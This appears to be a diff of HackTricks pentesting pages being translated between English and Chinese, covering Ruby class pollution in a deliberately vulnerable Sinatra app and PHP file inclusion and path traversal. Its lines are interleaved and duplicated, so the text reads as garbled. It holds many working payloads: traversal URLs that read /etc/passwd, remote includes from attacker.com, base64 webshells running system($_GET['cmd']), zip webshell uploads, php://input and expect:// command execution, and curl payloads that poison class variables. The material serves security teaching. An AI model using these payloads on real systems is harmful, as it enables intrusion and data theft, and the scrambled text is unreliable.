super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
run! if app_file == $0
end
```
### 毒化父类
### Poison Parent Class
With this payload:
使用此有效负载:
```bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
可以修改父类 **`Person`** 的 **`@@url`** 属性的值。
It's possible to modify the value of the **`@@url`** attribute of the parent class **`Person`**.
### **Poisoning Other Classes**
With this payload:
### **污染其他类**
使用这个有效载荷:
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
It's possible to brute-force the defined classes and at some point poison the class **`KeySigner`** modifying the value of `signing_key` by `injected-signing-key`.\
可以通过暴力破解定义的类,并在某些时候污染类 **`KeySigner`**,通过 `injected-signing-key` 修改 `signing_key` 的值。
## References
- [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,149 +1,130 @@
# File Inclusion/Path traversal
# 文件包含/路径遍历
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
## File Inclusion
## 文件包含
**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
**Local File Inclusion (LFI):** The sever loads a local file.
**远程文件包含 (RFI)** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在 php 中,默认情况下是 **禁用** 的 (**allow_url_include**)。\
**本地文件包含 (LFI)** 服务器加载本地文件。
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
当用户以某种方式控制将要被服务器加载的文件时,就会发生漏洞。
Vulnerable **PHP functions**: require, require_once, include, include_once
易受攻击的 **PHP 函数**require, require_once, include, include_once
A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
一个有趣的工具来利用这个漏洞:[https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE 文件
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Mixing several \*nix LFI lists and adding more paths I have created this one:**
**混合多个 \*nix LFI 列表并添加更多路径,我创建了这个:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Try also to change `/` for `\`\
Try also to add `../../../../../`
尝试将 `/` 改为 `\`\
尝试添加 `../../../../../`
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
一个使用多种技术查找文件 /etc/password以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
### **Windows**
Merge of different wordlists:
不同词表的合并:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`
尝试将 `/` 改为 `\`\
尝试删除 `C:/` 并添加 `../../../../../`
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
一个使用多种技术查找文件 /boot.ini以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
### **OS X**
Check the LFI list of linux.
检查 Linux 的 LFI 列表。
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
## 基本 LFI 和绕过
所有示例都是针对本地文件包含的,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/)。
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences stripped non-recursively
### 非递归剥离遍历序列
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **空字节 (%00)**
### **Null byte (%00)**
Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
绕过在提供的字符串末尾附加更多字符(绕过:$\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
这是**自 PHP 5.4 起已解决**
This is **solved since PHP 5.4**
### **Encoding**
You could use non-standard encondings like double URL encode (and others):
### **编码**
您可以使用非标准编码,例如双重 URL 编码(和其他编码):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 从现有文件夹
### From existent folder
Maybe the back-end is checking the folder path:
也许后端正在检查文件夹路径:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 探索服务器上的文件系统目录
### Exploring File System Directories on a Server
The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:
1. **Determine Directory Depth:** Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
服务器的文件系统可以通过某些技术递归地进行探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的的详细方法:
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度适用于基于Linux的服务器。一个示例URL可能结构如下指示深度为三
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:
2. **探测文件夹:** 将怀疑的文件夹名称(例如,`private`)附加到 URL然后导航回 `/etc/passwd`。额外的目录级别需要将深度
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **解释结果:** 服务器的响应指示文件夹是否存在:
- **错误 / 无输出:** 文件夹 `private` 可能在指定位置不存在。
- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的本地文件包含 (LFI) 方法进一步探测子目录或文件。
3. **Interpret the Outcomes:** The server's response indicates whether the folder exists:
- **Error / No Output:** The folder `private` likely does not exist at the specified location.
- **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed.
4. **Recursive Exploration:** Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.
For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use:
要探索文件系统中不同位置的目录,请相应调整有效载荷。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3请使用
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **路径截断技术**
### **Path Truncation Technique**
路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径该路径在被安全措施修改后仍然指向所需的文件。
Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
在PHP中由于文件系统的性质文件路径的各种表示可以被视为等效。例如
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
- `/etc/passwd``/etc//passwd``/etc/./passwd``/etc/passwd/`都被视为相同的路径。
- 当最后6个字符是`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变被访问的文件。
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -153,19 +134,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
在这些场景中所需的遍历次数可能在2027左右但这个数字可能会根据服务器的配置而有所不同。
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
- **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。
- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录所需的精确`../`序列数量,然后再到`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
- **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方法。
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
**此漏洞在PHP 5.3中已被修复。**
### **过滤器绕过技巧**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -173,59 +152,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## 远程文件包含
## Remote File Inclusion
In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
在 php 中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,你可以从你的服务器包含一个 PHP 文件并获得 RCE
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议和 base64 来解码一个 b64 PHP 代码并获得 RCE
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
Another example **not using the `php://` protocol** would be:
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,经过 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
另一个**不使用 `php://` 协议**的例子是:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 根元素
## Python Root element
In python in a code like this one:
在 Python 中,像这样的代码:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**:
如果用户传递一个 **绝对路径****`file_name`**,那么 **之前的路径将被移除**
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join),这是预期的行为:
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> 如果一个组件是绝对路径,则所有先前的组件都会被丢弃,并从绝对路径组件继续连接。
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
## Java 列出目录
## Java List Directories
看起来如果你在 Java 中有路径遍历并且你**请求一个目录**而不是文件,**将返回该目录的列表**。在其他语言中不会发生这种情况(据我所知)。
It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).
## Top 25 parameters
Heres list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
## 前25个参数
以下是可能容易受到本地文件包含LFI漏洞影响的前25个参数列表来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)
```
?cat={payload}
?dir={payload}
@ -253,41 +220,39 @@ Heres list of top 25 parameters that could be vulnerable to local file inclus
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI 使用 PHP 包装器和协议
### php://filter
PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操作**。过滤器分为 5 类:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: 从数据中移除标签(在 "<" 和 ">" 字符之间的所有内容)
- 请注意,这个过滤器在现代版本的 PHP 中已经消失
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表,请在控制台中运行:`iconv -l`
> [!WARNING]
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对编写任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- `zlib.deflate`: 压缩内容(如果提取大量信息时很有用)
- `zlib.inflate`: 解压数据
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Other Filters
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
- `mcrypt.*` : 已弃用
- `mdecrypt.*` : 已弃用
- 其他过滤器
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到几个 **意外的过滤器**
- `consumed`
- `dechunk`: 反转 HTTP 分块编码
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
@ -314,44 +279,40 @@ echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> The part "php://filter" is case insensitive
> "php://filter" 部分不区分大小写
### Using php filters as oracle to read arbitrary files
### 使用 php 过滤器作为 oracle 读取任意文件
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
In the original post you can find a detailed explanation of the technique, but here is a quick summary:
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
- 这将用于生成一个 **当初始字母正确猜测时变得如此庞大的文本**,以至于 php 会触发一个 **错误**
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
- 这与前一个以及其他根据猜测字母的过滤器结合将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将导致 php 错误。
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母因此在此编码后a -> b。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g该字母不再是十六进制字符因此 dechunk 不会删除它php 错误被触发,因为它与初始炸弹相乘。
- 使用其他转换如 **rot13** 在开头可以泄露其他字符如 n, o, p, q, r其他编码可以用于将其他字母移动到十六进制范围
- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
- 最后一个问题是查看 **如何泄露超过初始字母**。通过使用有序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的第一位置获取其他字母。
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露位。
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
在文章中还泄露了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
此包装器允许访问进程打开的文件描述符。可能对外泄打开文件的内容有用:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
您还可以使用 **php://stdin, php://stdout 和 php://stderr** 分别访问 **文件描述符 0, 1 和 2**(不确定这在攻击中如何有用)
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
### zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it.\
In order to be able to abuse the rar protocol it **need to be specifically activated**.
### zip:// 和 rar://
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。\
为了能够滥用 rar 协议,它 **需要被特别激活**
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -366,9 +327,7 @@ mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
### 数据://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -378,30 +337,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
请注意,此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制。
### expect://
Expect has to be activated. You can execute code using this:
必须激活 Expect。您可以使用此方法执行代码
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Specify your payload in the POST parameters:
在POST参数中指定您的有效负载
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:
一个 `.phar` 文件可以在 web 应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
```php
<?php
$phar = new Phar('test.phar');
@ -410,18 +363,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
To compile the `.phar` file, the following command should be executed:
要编译 `.phar` 文件,应执行以下命令:
```bash
php --define phar.readonly=0 create_path.php
```
执行后,将创建一个名为 `test.phar` 的文件这可能被利用来利用本地文件包含LFI漏洞。
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件相关。
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下面链接的文档:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -431,95 +381,88 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
可以滥用 **任何支持 PHP 过滤器的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
